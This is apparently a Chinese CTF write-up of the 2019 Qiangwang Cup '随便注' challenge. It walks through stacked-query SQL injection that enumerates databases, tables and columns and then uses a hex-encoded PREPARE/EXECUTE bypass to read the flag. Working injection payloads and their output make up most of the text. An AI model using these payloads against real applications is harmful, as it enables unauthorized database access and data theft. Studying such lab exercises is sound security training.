banner
NEWS LETTER

BUFFCTF 随便注

Scroll down

2019强网杯-随便注

前提:

  1. 目标存在SQL注入漏洞
  2. 目标未对”;”号进行过滤
  3. 目标中间层查询数据库信息时可同时执行多条SQL语句

支持堆叠数据库:MYSQL MSSQL Postgresql等

解题思路

  1. 先查看所有数据库,得到ctftraining和supersqli两个关键数据库

    1
    2
    3
    4
    5
    6
    7
    8
    9
    '; SHOW DATABASES;--+


    array(1) { [0]=> string(11) "ctftraining" }
    array(1) { [0]=> string(18) "information_schema" }
    array(1) { [0]=> string(5) "mysql" }
    array(1) { [0]=> string(18) "performance_schema" }
    array(1) { [0]=> string(9) "supersqli" }
    array(1) { [0]=> string(4) "test" }

  2. 查看ctftraining的数据库,知道了FLAG_TABLE的表

    1
    2
    3
    4
    5
    6
    '; SHOW TABLES FROM ctftraining; --+


    array(1) { [0]=> string(10) "FLAG_TABLE" }
    array(1) { [0]=> string(4) "news" }
    array(1) { [0]=> string(5) "users" }

  3. 知道了FLAG_TABLE表名以后查看下面的列,“.”被过滤了换种方式

    1
    2
    3
    4
    5
    '; SHOW COLUMNS FROM ctftraining.FLAG_TABLE; --+
    '; SHOW COLUMNS FROM FLAG_TABLE IN ctftraining; --+


    array(6) { [0]=> string(11) "FLAG_COLUMN" [1]=> string(12) "varchar(128)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> string(8) "not_flag" [5]=> string(0) "" }

  4. 得到了FLAG_COLUMN,“.”和SELECT被过滤了换种方式,再换种方式

    1
    '; SELECT FLAG_COLUMN FROM ctftraining.FLAG_TABLE; --+

  1. 把SELECT FLAG_COLUMN FROM ctftraining.FLAG_TABLE赋值给@a ,然后把注入语句转换为16进制,记得前面加上0x,让数据库识别为16进制,结果查询为空,被骗了,返回原来的supersqli
    1
    ';SeT @a=0x53454c45435420464c41475f434f4c554d4e2046524f4d20637466747261696e696e672e464c41475f5441424c45;prepare execsql from @a;execute execsql;


  1. 回到之前的知道的另一个数据库那里查看supersqli,知道了下面1919810931114514的表

    1
    2
    3
    4
    5
    '; SHOW TABLES FROM supersqli; --+


    array(1) { [0]=> string(16) "1919810931114514" }
    array(1) { [0]=> string(5) "words" }


  2. 纯数字的表名需要反引号来圈起来,得到了一个flag的列

    1
    2
    3
    4
    '; SHOW COLUMNS FROM `1919810931114514` IN supersqli; --+


    array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }


  3. “.”和SELECT被过滤了,换16进制方式

    1
    '; SELECT flag FROM supersqli.`1919810931114514`; --+


  1. 把SELECT flag FROM 1919810931114514 IN supersqli赋值给@a ,然后把注入语句转换为16进制,记得前面加上0x,让数据库识别为16进制,但是这种语句只能在堆叠注入种使用,需要完整的SQL语句
    1
    2
    3
    4
    ';SeT @a=0x53454c45435420666c61672046524f4d20737570657273716c692e603139313938313039333131313435313460;prepare execsql from @a;execute execsql;


    flag{7edc6dee-c534-436a-861f-ed5fb3c98f3b}


总结反思,看了网上的解题思路,他们在 SHOW DATABASES后再次 SHOW TABLE,是更快的解题思路,这次没有注意,已经总结,还有小细节需要再次总结

其他文章
请输入关键词进行搜索